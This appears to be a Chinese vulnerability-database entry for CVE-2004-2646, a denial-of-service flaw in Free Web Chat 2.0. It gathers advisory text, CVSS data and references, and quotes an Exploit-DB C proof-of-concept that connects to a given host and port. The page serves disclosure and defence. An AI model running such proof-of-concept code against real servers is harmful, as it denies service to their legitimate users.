CVE-2004-2646
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 23:07:16
NMCOE    

[原文]The addUser function in UserManager.java in Free Web Chat 2.0 allows remote attackers to cause a denial of service (uncaught NullPointerException) via unknown attack vectors that cause the usrName variable to be null.


[CNNVD]多个Free Web Chat服务拒绝漏洞(CNNVD-200412-362)

        Free Web Chat 2.0版本的UserManager.java的addUser函数存在漏洞。远程攻击者可以借助导致usrName变量为空的未知攻击向量导致服务拒绝(uncaught NullPointerException)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2646
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2646
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-362
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0102.html
(PATCH)  FULLDISC  20040804 Multiple Vulnerabilities in Free Web Chat
http://marc.info/?l=bugtraq&m=109164397601049&w=2
(UNKNOWN)  BUGTRAQ  20040804 Multiple Vulnerabilities in Free Web Chat
http://securitytracker.com/alerts/2004/Aug/1010851.html
(PATCH)  SECTRACK  1010851
http://www.securityfocus.com/bid/10863
(UNKNOWN)  BID  10863
http://xforce.iss.net/xforce/xfdb/16893
(UNKNOWN)  XF  freewebchat-usermanager-dos(16893)

- 漏洞信息

多个Free Web Chat服务拒绝漏洞
中危 设计错误
2004-12-31 00:00:00 2005-12-21 00:00:00
远程  
        Free Web Chat 2.0版本的UserManager.java的addUser函数存在漏洞。远程攻击者可以借助导致usrName变量为空的未知攻击向量导致服务拒绝(uncaught NullPointerException)。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (24351)

Free Web Chat Initial Release UserManager.java Null Pointer DoS (EDBID:24351)
multiple dos
2004-08-04 Verified
0 Donato Ferrante
N/A [点击下载]
source: http://www.securityfocus.com/bid/10863/info

Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:

The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.

A remote attacker may exploit this vulnerability to deny service to legitimate users.

The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.

A remote attacker may exploit this vulnerability to deny service to legitimate users.

/*
     Free Web Chat (Initial Release)- DoS - Proof Of Concept
     Coded by: Donato Ferrante
*/



#include <stdio.h>
#include <stdlib.h>

#ifdef WIN32
    #include <windows.h>
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define VERSION "0.1"





void FreeWebChatPoC( char *host, int port );
u_long resolv(char *host);




int main(int argc, char *argv[]) {

   fprintf(
        stdout,
        "\n\nFree Web Chat - DoS - Proof Of Concept\n"
        "Version: %s\n\n"
        "coded by: Donato Ferrante\n"
        "e-mail:   fdonato@autistici.org\n"
        "web:      www.autistici.org/fdonato\n\n"
        , VERSION
        );

  if(argc <= 2){
     fprintf(stdout, "Usage: <host> <port>");
     exit(-1);
  }

int port = atoi(argv[2]);

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    FreeWebChatPoC( argv[1], port );

    return(0);
}







   void FreeWebChatPoC( char *host, int port ){

    struct sockaddr_in peer;

    int sd,
        err;

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;


    char *buff = (char *)malloc(513);

    fprintf(
            stdout,
            "\nConnecting to: %s:%hu\n\n",
            inet_ntoa(peer.sin_addr),
            port
          );

      sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           if(sd < 0){
                perror("Error");
                exit(-1);
           }

      err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
           if(err < 0){
                perror("Error");
                exit(-1);
           }

      err = recv(sd, buff, 512, 0);
           if(err < 0){
                perror("Error");
                exit(-1);
           }

#ifdef WIN32
      closesocket(sd);
#else
      close(sd);
#endif

    free(buff);

    fprintf(
          stdout,
          "\nFree_Web_Chat - DoS - Proof_Of_Concept terminated.\n\n"
    );

}




u_long resolv(char *host) {
    struct      hostent *hp;
    u_long      host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }

    return(host_ip);
}




		

- 漏洞信息

8369
Free Web Chat UserManager.java Null Pointer DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

Free Web Chat contains a flaw that may allow a remote denial of service. The issue is triggered when the UserManager.java variable is not handled correctly causing a null pointer exception, and will result in loss of availability for the service.

- 时间线

2004-08-04 Unknow
2004-08-04 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Donato Ferrante has released an unofficial patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站